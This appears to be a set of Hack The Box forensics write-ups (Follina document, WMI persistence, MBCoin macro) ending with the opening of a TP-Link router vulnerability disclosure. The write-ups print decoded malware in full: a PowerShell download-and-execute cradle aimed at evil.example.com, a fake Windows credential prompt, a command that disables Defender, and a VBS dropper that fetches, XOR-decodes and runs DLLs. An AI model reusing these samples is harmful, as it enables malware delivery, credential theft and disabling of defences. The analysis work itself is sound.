licG5nciBFSksgenJ6YmVsIHNiZSBndXIgZ3Vlcm5xIHBueXkgZmdobwogICAgICAgICRQbnl5Rmdob05xcWVyZmYgPSAkSXZlZ2hueU55eWJwLlZhaWJ4cihbVmFnQ2dlXTo6TXJlYiwgJFBueXlGZ2hvLllyYXRndSArIDEsIDBrMzAwMCwgMGs0MCkgIyAoRXJmcmVpcnxQYnp6dmcsIEVKSykKICAgICAgICB2cyAoISRQbnl5Rmdob05xcWVyZmYpCiAgICAgICAgewogICAgICAgICAgICBHdWViaiAiSGFub3lyIGdiIG55eWJwbmdyIGd1ZXJucSBwbnl5IGZnaG8uIgogICAgICAgIH0KICAgICAgICAKICAgICAgICBKZXZnci1JcmVvYmZyICJHdWVybnEgcG55eSBmZ2hvIHpyemJlbCBlcmZyZWlycSBuZyAwayQoJFBueXlGZ2hvTnFxZXJmZi5HYkZnZXZhdCgiSyQoW1ZhZ0NnZV06OkZ2bXIqMikiKSkiCgogICAgICAgICMgUGJjbCBwbnl5IGZnaG8gZ2IgRUpLIG9oc3NyZQogICAgICAgIFtGbGZncnouRWhhZ3Z6ci5WYWdyZWJjRnJlaXZwcmYuWm5lZnVueV06OlBiY2woJFBueXlGZ2hvLCAwLCAkUG55eUZnaG9OcXFlcmZmLCAkUG55eUZnaG8uWXJhdGd1KQoKICAgICAgICAjIFluaGFwdSBmdXJ5eXBicXIgdmEgdmcnZiBiamEgZ3Vlcm5xCiAgICAgICAgJEd1ZXJucVVuYXF5ciA9ICRQZXJuZ3JHdWVybnEuVmFpYnhyKFtWYWdDZ2VdOjpNcmViLCAwLCAkUG55eUZnaG9OcXFlcmZmLCAkT25mck5xcWVyZmYsIDAsIFtWYWdDZ2VdOjpNcmViKQogICAgICAgIHZzICghJEd1ZXJucVVuYXF5cikKICAgICAgICB7CiAgICAgICAgICAgIEd1ZWJqICJIYW5veXIgZ2IgeW5oYXB1IGd1ZXJucS4iCiAgICAgICAgfSAg


Ci5DTkVOWlJHUkUgaGV5Ckd1dmYgdmYgZ3VyIEhFWSBzYmUgZ3VyIHFiamF5Ym5xIHBlbnF5ciwgb2wgcXJzbmh5ZyB2ZyBqdnl5IG9yIGZienJndXZhdCAKeXZ4ciAidWdnY2Y6Ly9yaXZ5LnJrbnpjeXIucGJ6L1tFbmFxYnogUHVuZWZdIgoKLlJLTlpDWVIKQ0YgUDpcPlZhaWJ4ci1acmduZmN5YnZnQ25seWJucSAtaGV5IHVnZ2NmOi8vcml2eS5ya256Y3lyLnBiei8yeDF2ZlJxZnkKUWJqYXlibnFmIG5hcSBya3JwaGdyZiBuIFpyZ25mY3lidmcgY25seWJucSB5YnBuZ3JxIG5nIHVnZ2NmOi8vcml2eS5ya256Y3lyLnBiei8yeDF2ZlJxZnkKCgouQUJHUkYKTGJoIHBuYSBoZnIgZ3VyICItaXJlb2JmciIgYmNndmJhIHNiZSBpcmVvYmZyIGJoZ2NoZy4KCi5ZVkFYClR2Z3VobzogdWdnY2Y6Ly90dmd1aG8ucGJ6L3duZXJxdW52dHVnL1ZhaWJ4ci1acmduZmN5YnZnQ25seWJucQoKIz4n

c2hhcGd2YmEgVmFpYnhyLVlidHZhQ2ViemNnewokcGVycSA9ICRVYmZnLmh2LkNlYnpjZ1NiZVBlcnFyYWd2bnkoIkp2YXFiamYgRnJwaGV2Z2wiLCAiRXtRUkZQRVZDR1ZCQX0iLCAiJHJhaTpoZnJlcWJ6bnZhXCRyYWk6aGZyZWFuenIiLCIiKQokaGZyZWFuenIgPSAiJHJhaTpoZnJlYW56ciIKJHFiem52YSA9ICIkcmFpOmhmcmVxYnpudmEiCiRzaHl5ID0gIiRxYnpudmEiICsgIlwiICsgIiRoZnJlYW56ciIKJGNuZmZqYmVxID0gJHBlcnEuVHJnQXJnamJleFBlcnFyYWd2bnkoKS5jbmZmamJlcQpOcXEtR2xjciAtbmZmcnpveWxhbnpyIEZsZmdyei5RdmVycGdiZWxGcmVpdnByZi5OcHBiaGFnWm5hbnRyenJhZwokUUYgPSBBcmotQm93cnBnIEZsZmdyei5RdmVycGdiZWxGcmVpdnByZi5OcHBiaGFnWm5hbnRyenJhZy5DZXZhcHZjbnlQYmFncmtnKFtGbGZncnouUXZlcnBnYmVsRnJlaXZwcmYuTnBwYmhhZ1puYW50cnpyYWcuUGJhZ3JrZ0dsY3JdOjpabnB1dmFyKQpqdXZ5cigkUUYuSW55dnFuZ3JQZXJxcmFndm55ZigiJHNoeXkiLCIkY25mZmpiZXEiKSAtYXIgJEdlaHIpewogICAgJHBlcnEgPSAkVWJmZy5odi5DZWJ6Y2dTYmVQZXJxcmFndm55KCJKdmFxYmpmIEZycGhldmdsIiwgIlZhaW55dnEgUGVycXJhZ3ZueWYsIEN5cm5mciBnZWwgbnRudmEiLCAiJHJhaTpoZnJlcWJ6bnZhXCRyYWk6aGZyZWFuenIiLCIiKQogICAgJGhmcmVhbnpyID0gIiRyYWk6aGZyZWFuenIiCiAgICAkcWJ6bnZhID0gIiRyYWk6aGZyZXFiem52YSIKICAgICRzaHl5ID0gIiRxYnpudmEiICsgIlwiICsgIiRoZnJlYW56ciIKICAgICRjbmZmamJlcSA9ICRwZXJxLlRyZ0FyZ2piZXhQZXJxcmFndm55KCkuY25mZmpiZXEKICAgIE5xcS1HbGNyIC1uZmZyem95bGFuenIgRmxmZ3J6LlF2ZXJwZ2JlbEZyZWl2cHJmLk5wcGJoYWdabmFudHJ6cmFnCiAgICAkUUYgPSBBcmotQm93cnBnIEZsZmdyei5RdmVycGdiZWxGcmVpdnByZi5OcHBiaGFnWm5hbnRyenJhZy5DZXZhcHZjbnlQYmFncmtnKFtGbGZncnouUXZlcnBnYmVsRnJlaXZwcmYuTnBwYmhhZ1puYW50cnpyYWcuUGJhZ3JrZ0dsY3JdOjpabnB1dmFyKQogICAgJFFGLklueXZxbmdyUGVycXJhZ3ZueWYoIiRzaHl5IiwgIiRjbmZmamJlcSIpIHwgYmhnLWFoeXkKICAgIH0KICRiaGdjaGcgPSAkYXJqcGVycSA9ICRwZXJxLlRyZ0FyZ2piZXhQZXJxcmFndm55KCkgfCBmcnlycGctYm93cnBnIEhmcmVBbnpyLCBRYnpudmEsIENuZmZqYmVxCiAkYmhnY2hnCiBFe0ZHTkVHX0NFQlBSRkZ9Cn0g

Decoding the base64 it with cyberchef


 lang="en">

</span>
Good thing we disabled macros
<span class="nt">



Jevgr-Ireobfr "[*] Perngvat Qbjaybnq Penqyr fpevcg hfvat $hey"
    $QbjaybnqPenqyr ='[Flfgrz.Arg.FreivprCbvagZnantre]::FreirePregvsvpngrInyvqngvbaPnyyonpx = {$gehr};$pyvrag = Arj-Bowrpg Arg.JroPyvrag;$pyvrag.Cebkl=[Arg.JroErdhrfg]::TrgFlfgrzJroCebkl();$pyvrag.Cebkl.Perqragvnyf=[Arg.PerqragvnyPnpur]::QrsnhygPerqragvnyf;Vaibxr-Rkcerffvba $pyvrag.qbjaybnqfgevat('''+$hey+''');'4

    {
        Jevgr-Ireobfr "[*] Ybbxf yvxr jr'er 32ovg, hfvat flfjbj64 cbjrefuryy.rkr"
        $CbjrefuryyRkr=$rai:jvaqve+'\flfjbj64\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr'
    };
    . 


shapgvba Vaibxr-ZrgnfcybvgCnlybnq 
{
<#
.FLABCFVF
Xvpx bss n Zrgnfcybvg Cnlybnq hfvat gur rkcybvg/zhygv/fpevcg/jro_qryvirel zbqhyr
Nhgube: Wnerq Unvtug (@wnerqunvtug)
Yvprafr: ZVG
Erdhverq Qrcraqrapvrf: Abar
Bcgvbany Qrcraqrapvrf: Abar
 
.QRFPEVCGVBA
Fcnjaf n arj, uvqqra CbjreFuryy jvaqbj gung qbjaybnqf naq rkrphgrf n Zrgnfcybvg cnlybnq sebz n fcrpvsvrq HEY.

Guvf eryvrf ba gur rkcybvg/zhygv/fpevcgf/jro_qryvirel zrgnfcybvg zbqhyr. Gur jro_qryvirel zbqhyr trarengrf n fpevcg sbe
n tvira cnlybnq naq gura sverf hc n jrofreire gb ubfg fnvq fpevcg. Vs gur cnlybnq vf n erirefr furyy, vg jvyy nyfb unaqyr
fgnegvat hc gur yvfgrare sbe gung cnlybnq. 

Na rknzcyr ep svyr vf orybj (be lbh pna whfg glcr gur pbzznaqf znahnyyl). Vg qbrf gur sbyybjvat:

* Frgf gur qbjaybnq penqyr gb cbeg 8443 (FEICBEG) ba nyy VCf (FEIUBFG)
* Frgf gur fpevcg gnetrg gb CbjreFuryy (frg gnetrg 2)
* Frgf gur cnlybnq orvat freirq gb jvaqbjf/zrgrecergre/erirefr_uggcf
* Frgf gur cnlybnq gb yvfgra ba cbeg 443 (YCBEG) ba nyy VCf (YUBFG)

shapgvba Vaibxr-ZrgnfcybvgCnlybnq 
{
<#
.FLABCFVF
Xvpx bss n Zrgnfcybvg Cnlybnq hfvat gur rkcybvg/zhygv/fpevcg/jro_qryvirel zbqhyr
Nhgube: Wnerq Unvtug (@wnerqunvtug)
Yvprafr: ZVG
Erdhverq Qrcraqrapvrf: Abar
Bcgvbany Qrcraqrapvrf: Abar
 
.QRFPEVCGVBA
Fcnjaf n arj, uvqqra CbjreFuryy jvaqbj gung qbjaybnqf naq rkrphgrf n Zrgnfcybvg cnlybnq sebz n fcrpvsvrq HEY.

Guvf eryvrf ba gur rkcybvg/zhygv/fpevcgf/jro_qryvirel zrgnfcybvg zbqhyr. Gur jro_qryvirel zbqhyr trarengrf n fpevcg sbe
n tvira cnlybnq naq gura sverf hc n jrofreire gb ubfg fnvq fpevcg. Vs gur cnlybnq vf n erirefr furyy, vg jvyy nyfb unaqyr
fgnegvat hc gur yvfgrare sbe gung cnlybnq. 

Na rknzcyr ep svyr vf orybj (be lbh pna whfg glcr gur pbzznaqf znahnyyl). Vg qbrf gur sbyybjvat:

* Frgf gur qbjaybnq penqyr gb cbeg 8443 (FEICBEG) ba nyy VCf (FEIUBFG)
* Frgf gur fpevcg gnetrg gb CbjreFuryy (frg gnetrg 2)
* Frgf gur cnlybnq orvat freirq gb jvaqbjf/zrgrecergre/erirefr_uggcf
* Frgf gur cnlybnq gb yvfgra ba cbeg 443 (YCBEG) ba nyy VCf (YUBFG)
p>


.CNENZRGRE hey
Guvf vf gur HEY sbe gur qbjaybnq penqyr, ol qrsnhyg vg jvyy or fbzrguvat 
yvxr "uggcf://rivy.rknzcyr.pbz/[Enaqbz Punef]"

.RKNZCYR
CF P:\>Vaibxr-ZrgnfcybvgCnlybnq -hey uggcf://rivy.rknzcyr.pbz/2x1vfRqfy
Qbjaybnqf naq rkrphgrf n Zrgnfcybvg cnlybnq ybpngrq ng uggcf://rivy.rknzcyr.pbz/2x1vfRqfy


.ABGRF
Lbh pna hfr gur "-ireobfr" bcgvba sbe ireobfr bhgchg.

.YVAX
Tvguho: uggcf://tvguho.pbz/wnerqunvtug/Vaibxr-ZrgnfcybvgCnlybnq

#>'

shapgvba Vaibxr-YbtvaCebzcg{
$perq = $Ubfg.hv.CebzcgSbePerqragvny("Jvaqbjf Frphevgl", "E{QRFPEVCGVBA}", "$rai:hfreqbznva\$rai:hfreanzr","")
$hfreanzr = "$rai:hfreanzr"
$qbznva = "$rai:hfreqbznva"
$shyy = "$qbznva" + "\" + "$hfreanzr"
$cnffjbeq = $perq.TrgArgjbexPerqragvny().cnffjbeq
Nqq-Glcr -nffrzoylanzr Flfgrz.QverpgbelFreivprf.NppbhagZnantrzrag
$QF = Arj-Bowrpg Flfgrz.QverpgbelFreivprf.NppbhagZnantrzrag.CevapvcnyPbagrkg([Flfgrz.QverpgbelFreivprf.NppbhagZnantrzrag.PbagrkgGlcr]::Znpuvar)
juvyr($QF.InyvqngrPerqragvnyf("$shyy","$cnffjbeq") -ar $Gehr){
    $perq = $Ubfg.hv.CebzcgSbePerqragvny("Jvaqbjf Frphevgl", "Vainyvq Perqragvnyf, Cyrnfr gel ntnva", "$rai:hfreqbznva\$rai:hfreanzr","")
    $hfreanzr = "$rai:hfreanzr"
    $qbznva = "$rai:hfreqbznva"
    $shyy = "$qbznva" + "\" + "$hfreanzr"
    $cnffjbeq = $perq.TrgArgjbexPerqragvny().cnffjbeq
    Nqq-Glcr -nffrzoylanzr Flfgrz.QverpgbelFreivprf.NppbhagZnantrzrag
    $QF = Arj-Bowrpg Flfgrz.QverpgbelFreivprf.NppbhagZnantrzrag.CevapvcnyPbagrkg([Flfgrz.QverpgbelFreivprf.NppbhagZnantrzrag.PbagrkgGlcr]::Znpuvar)
    $QF.InyvqngrPerqragvnyf("$shyy", "$cnffjbeq") | bhg-ahyy
    }
 $bhgchg = $arjperq = $perq.TrgArgjbexPerqragvny() | fryrpg-bowrpg HfreAnzr, Qbznva, Cnffjbeq
 $bhgchg
 E{FGNEG_CEBPRFF}
}

This seem to be some kind of rotation cipher, so using cyberchef once again with ROT13 (got lucky right on the first try)


 lang="en">

</span>
Good thing we disabled macros
<span class="nt">



Write-Verbose "[*] Creating Download Cradle script using $url"
    $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+''');'4

    {
        Write-Verbose "[*] Looks like we're 32bit, using syswow64 powershell.exe"
        $PowershellExe=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'
    };
    . 


function Invoke-MetasploitPayload 
{
<#
.SYNOPSIS
Kick off a Metasploit Payload using the exploit/multi/script/web_delivery module
Author: Jared Haight (@jaredhaight)
License: MIT
Required Dependencies: None
Optional Dependencies: None
 
.DESCRIPTION
Spawns a new, hidden PowerShell window that downloads and executes a Metasploit payload from a specified URL.

This relies on the exploit/multi/scripts/web_delivery metasploit module. The web_delivery module generates a script for
a given payload and then fires up a webserver to host said script. If the payload is a reverse shell, it will also handle
starting up the listener for that payload. 

An example rc file is below (or you can just type the commands manually). It does the following:

* Sets the download cradle to port 8443 (SRVPORT) on all IPs (SRVHOST)
* Sets the script target to PowerShell (set target 2)
* Sets the payload being served to windows/meterpreter/reverse_https
* Sets the payload to listen on port 443 (LPORT) on all IPs (LHOST)

function Invoke-MetasploitPayload 
{
<#
.SYNOPSIS
Kick off a Metasploit Payload using the exploit/multi/script/web_delivery module
Author: Jared Haight (@jaredhaight)
License: MIT
Required Dependencies: None
Optional Dependencies: None
 
.DESCRIPTION
Spawns a new, hidden PowerShell window that downloads and executes a Metasploit payload from a specified URL.

This relies on the exploit/multi/scripts/web_delivery metasploit module. The web_delivery module generates a script for
a given payload and then fires up a webserver to host said script. If the payload is a reverse shell, it will also handle
starting up the listener for that payload. 

An example rc file is below (or you can just type the commands manually). It does the following:

* Sets the download cradle to port 8443 (SRVPORT) on all IPs (SRVHOST)
* Sets the script target to PowerShell (set target 2)
* Sets the payload being served to windows/meterpreter/reverse_https
* Sets the payload to listen on port 443 (LPORT) on all IPs (LHOST)
c>


.PARAMETER url
This is the URL for the download cradle, by default it will be something 
like "https://evil.example.com/[Random Chars]"

.EXAMPLE
PS C:\>Invoke-MetasploitPayload -url https://evil.example.com/2k1isEdsl
Downloads and executes a Metasploit payload located at https://evil.example.com/2k1isEdsl


.NOTES
You can use the "-verbose" option for verbose output.

.LINK
Github: https://github.com/jaredhaight/Invoke-MetasploitPayload

#>'

function Invoke-LoginPrompt{
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
while($DS.ValidateCredentials("$full","$password") -ne $True){
    $cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
    $username = "$env:username"
    $domain = "$env:userdomain"
    $full = "$domain" + "\" + "$username"
    $password = $cred.GetNetworkCredential().password
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
    $DS.ValidateCredentials("$full", "$password") | out-null
    }
 $output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
 $output
 R{START_PROCESS}
}

The interesting bit was at the end

I could cleary see part of the flag in the variable PT1

HTB{Zer0_DayZ_4Re_C0Ol_BuT_

I went back to the pcap file and I saw that after this TCP connection there was an TCP before an SSH so I followed the stream again.

I noticed some powershell commands that I decoded to

( $enV:comSpec[4,24,25]-JOin'') ( ((("{2}{0}{7}{1}{11}{5}{6}{9}{10}{4}{8}{3}"-f 'ef',' ','Set-MpPr','ue','t','altime','Moni','erence','r','tor','ing K35','-DisableRe')) -repLacE  'K35',[ChAR]36))

Iex ( ((("{2}{7}{6}{5}{9}{0}{8}{3}{10}{4}{1}" -f 'h','...exe','<#{0','!}','eas','A','t3=b33n_p','}p','3d','tc','#'

I used python to write a script to help me

list1=['ef',' ','Set-MpPr','ue','t','altime','Moni','erence','r','tor','ing $','-DisableRe']
list2=['h','...exe','<#{0','!}','eas','A','t3=b33n_p','}p','3d','tc','#']

print(list1[2] + list1[0]+ list1[7] + list1[1] + list1[11] + list1[5] + list1[6] + list1[9] + list1[10] + list1[4] + list1[8] + list1[3])
print(list2[2] + list2[7] + list2[6] + list2[5] + list2[9] + list2[0] + list2[8] + list2[3] + list2[10] + list2[4] + list2[1])

which translated to

Set-MpPreference -DisableRealtimeMonitoring $true
<#{0}pt3=b33n_pAtch3d!}#eas...exe

Good I had part 1 and 3 of the flag! Now it was time to look for part 2 of the flag… After a bit of searching through the unpacked docx file, I found the 2nd part of the flag in word/_rels/document.xml.rels

which corresponded to the string F0llina_h4s_ after base64 decoded.

FLAG: HTB{Zer0_DayZ_4Re_C0Ol_BuT_F0llina_h4s_b33n_pAtch3d!}

Perseverance

I was given a WMI repository to analyze. Using PyWMIPersistenceFinder.py from Here I got

The script in this output was:

$file = ([WmiClass]'ROOT\cimv2:Win32_MemoryArrayDevice').Properties['Property'].Value
sv mem_stream (New-Object IO.MemoryStream)
sv from_base64 (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress))
sv buffer (New-Object Byte[](1024))
sv data (gv from_base64).Value.Read((gv buffer).Value,0,1024)
while((gv data).Value -gt 0){(gv mem_stream).Value.Write((gv buffer).Value,0,(gv data).Value)
sv data (gv from_base64).Value.Read((gv buffer).Value,0,1024)
}[Reflection.Assembly]::Load((gv mem_stream).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null

For that script, I needed to find the value of the class Win32_MemoryArrayDevice in the namespace ROOT\cimv2. After a lot of reading, I used the samples in flare-wmi repository in order to get what I needed.

First I ran the command

python3 dump_class_definition.py win7 perseverance/ ROOT\cimv2 Win32_MemoryArrayDevice

Note that the “perseverance/” is the path where the challenge files were and I had to escape the ROOT\cimv2 with “\”.

The interesting output was the data part…. which was what I wanted! It was in HEX so using cyberchef I got the data.

It had some information and a huge Base64, which I know already since the initial script was decoding the base64 and than deflating it. So, again with cyberchef I used decoded it and used raw_inflate

Good! I got a file from the looks of it! So i downloaded it and used DNSpy to open it… Not long before I found a Base64 string

Decoding it and i got the flag!

FLAG: HTB{1_th0ught_WM1_w4s_just_4_M4N4g3m3nt_T00l}

MBCoin

Looking at the doc file I was given, I extracted macros in it using olevba

After reversing the string to make it look cleaner

Sub AutoOpen()
    Dim QQ1 As Object
    Set QQ1 = ActiveDocument.Shapes(1)
    Dim QQ2 As Object
    Set QQ2 = ActiveDocument.Shapes(2)
    RO = "C:\ProgramData\"
    ROI = RO + ("pin.vbs")
    ii = ""
    Ne = "IZIMIZIOZI"
    WW = QQ1.AlternativeText + QQ2.AlternativeText
    MyFile = FreeFile
    Open ROI For Output As #MyFile
    Print #MyFile, WW
    Close #MyFile
    fun = Shell("cmd /k cscript.exe C:\ProgramData\pin.vbs", Chr(48))
    
    waitTill = Now() + TimeValue("00:00:05")
    While Now() < waitTill
    Wend
    MsgBox ("Unfortunately you are not eligable for free coin!")
    End
    
End Sub

So, from the script I knew that the script pin.vbs was going to be used so i needed that as well. Going to any.run and I was able to the get it!

I clean the scritp a bit to make it more “readable” and the final result was

Dim WAITPLZ, WS, k, kl
WAITPLZ = DateAdd(Chr(115), 4, Now())
Do Until (Now() > WAITPLZ)
Loop

LL1 = "$Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://priyacareers.htb/u9hDQN9Yy7g/pt.html'',''C:\ProgramData\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL2 = "$Nanoz='JOOEX'.replace('JOO','I');sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://perfectdemos.htb/Gv1iNAuMKZ/jv.html'',''C:\ProgramData\www2.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL3 = "$Nanox='JOOEX'.replace('JOO','I');sal OY $Nanox;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://bussiness-z.htb/ze8pCNTIkrIS/wp.html'',''C:\ProgramData\www3.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL4 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://cablingpoint.htb/ByH5NDoE3kQA/vm.html'',''C:\ProgramData\www4.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
LL5 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://bonus.corporatebusinessmachines.htb/1Y0qVNce/tz.html'',''C:\ProgramData\www5.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"


HH9="po"
HH8="wers"
HH7="h"
HH6="ell "
HH0= HH9+HH8+HH7+HH6
Set Ran = CreateObject("wscript.shell")
Ran.Run HH0+LL1,Chr(48)
Ran.Run HH0+LL2,Chr(48)
Ran.Run HH0+LL3,Chr(48)
Ran.Run HH0+LL4,Chr(48)
Ran.Run HH0+LL5,Chr(48)
Wscript.Sleep(5000)
MM1 = "$b = [System.IO.File]::ReadAllBytes((('C:GPHprogramdataGPHwww1.dll')  -CrePLacE'GPH',[Char]92)); $k = ('6iIgloMk5iRYAw7ZTWed0CrjuZ9wijyQDjKO9Ms0D8K0Z2H5MX6wyOKqFxlOm1XpjmYfaQXacA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9AprogramdataY9Awww.dll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM2 = "$b = [System.IO.File]::ReadAllBytes((('C:GPHprogramdataGPHwww2.dll')  -CrePLacE'GPH',[Char]92)); $k = ('6iIpcoMk5iRYAw7ZTWed0CrjuZ9wijyQDjAu9Ms0D8K0Z2H5MX6wyOKqFxlOm1PpjmYfaQXacA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]};  if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9AprogramdataY9Awww.dll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM3 = "$b = [System.IO.File]::ReadAllBytes((('C:GPHprogramdataGPHwww3.dll')  -CrePLacE'GPH',[Char]92)); $k = ('6iIWGoMk5iRYAw7ZTWed0CrjuZ9wijyQDjOL9Ms0D8K0Z2H5MX6wyOKqFxlOm1spjmYfaQXacA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9AprogramdataY9Awww.dll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM4 = "$b = [System.IO.File]::ReadAllBytes((('C:GPHprogramdataGPHwww4.dll')  -CrePLacE'GPH',[Char]92)); $k = ('6iIoNoMk5iRYAw7ZTWed0CrjuZ9wijyQDjPy9Ms0D8K0Z2H5MX6wyOKqFxlOm1GpjmYfaQXacA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9AprogramdataY9Awww.dll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"
MM5 = "$b = [System.IO.File]::ReadAllBytes((('C:GPHprogramdataGPHwww5.dll')  -CrePLacE'GPH',[Char]92)); $k = ('6iIIEoMk5iRYAw7ZTWed0CrjuZ9wijyQDjYL9Ms0D8K0Z2H5MX6wyOKqFxlOm1apjmYfaQXacA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9AprogramdataY9Awww.dll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"

Set Ran = CreateObject("wscript.shell")
Ran.Run HH0+MM1,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM2,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM3,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM4,Chr(48)
WScript.Sleep(500)
Ran.Run HH0+MM5,Chr(48)

WScript.Sleep(15000)
OK1 = "cmd /c rundll32.exe C:\ProgramData\www.dll,ldr"
OK2 = "cmd /c del C:\programdata\www*"
OK3 = "cmd /c del C:\programdata\pin*"
Ran.Run OK1, Chr(48)
WScript.Sleep(1000)
Run.Run OK2, Chr(48)
Run.Run OK3, Chr(48)

Using wireshark on the pcap file that I was given, I found that 2 files were (a third one got the 404 - wp.html)

Looking at the hosts of the GET requests I matched with the ones on the initial pin.vbs script so I got that pt.html was www1.dllb and vm.html was www4.dll

From the pin.vbs script it was possible to see that it was using different keys on each dll to xor it to a new file…

Using my windows VM, I just copied the original lines in pin.vbs, replacing the path for the html file and the output directory

$b = [System.IO.File]::ReadAllBytes((('C:\Users\sn0ox\Desktop\mbcoin\http_downloads\vm.html')  -CrePLacE'GPH',[Char]92)); 
$k = ('6iIoNoMk5iRYAw7ZTWed0CrjuZ9wijyQDjPy9Ms0D8K0Z2H5MX6wyOKqFxlOm1GpjmYfaQXacA6'); 
$r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; 

if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:\Users\sn0ox\Desktop\mbcoin\www4.dll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}

I run the script for both html files (note that the key for each one is different)

After I got the dll files, I used ghidra on both, and I got the flag in www4.dll, function ldr!

FLAG: HTB{wH4tS_4_sQuirReLw4fFl3?}

TP-Link WA901N Vulnerability - Brute force management interface password via SSH service

2022-07-05T00:00:00-07:00

This post contains detailed information about a security research that i have been conducting on a TP-Link WA901N router. The vulnerability was disclosed, confirmed and fixed by TP-Link before this post was created.

Intro

Following the research I started in a PREVIOUS POST, I discovered a vulnerability in the TP-Link WA901N router that allows an attacker to brute force the management interface password via the exposed SSH service. The SSH service is available, but is not configured so it cannot be used to access the device, and for some odd reason not only it shares the same password as the management web interface but also, when performing an authentication it only checks for the password, accepting any given user! This makes it extremely easy for an attacker, already in the network, to brute force the management password and get full control over the router.

This vulnerability is specially dangerous since it bypasses the security mechanism implemented by TP-Link in the web interface, which locks it for 2 hours after 10 failed attempts.

Affected firmware: 3.16.9 Build 200703 (and inferior)
Fixed firmware: 3.16.9 Build 220701 (available HERE

History

26/05/2022 - Vulnerabilty disclosed to TP-LINK.
22/05/2022 - TP-LINK sent a beta version firmware so I could test and confirm the vulnerability was fixed.
23/05/2022 - I confirmed the vulnerability was fixed in the beta version firmware.
04/07/2022 - TP-Link uploaded the new firmware - available HERE
04/07/2022 - CVE-ID requested

Vulnerability

After I got access to the router internal system I started doing some reconnaissance by firing nmap and performing a quick scan to see that what interfaces this device was exposed.

The SSH port is exposed which I was able to confirm by viewing the router running processes.

Going to /proc/430/cmdline I was able to see the full command that was issued to start the dropbear service

    /usr/bin/dropbear -p 22 -r/tmp/dropbear/dropbear_rsa_host_key -d/tmp/dropbear/dropbear_dss_host_key -A/tmp/dropbear/dropbearpwd

I went to the /tmp/dropbear folder and got the content of the dropbearpwd file

So, with that hash I went to crackstation in order to see if that was a known hash.

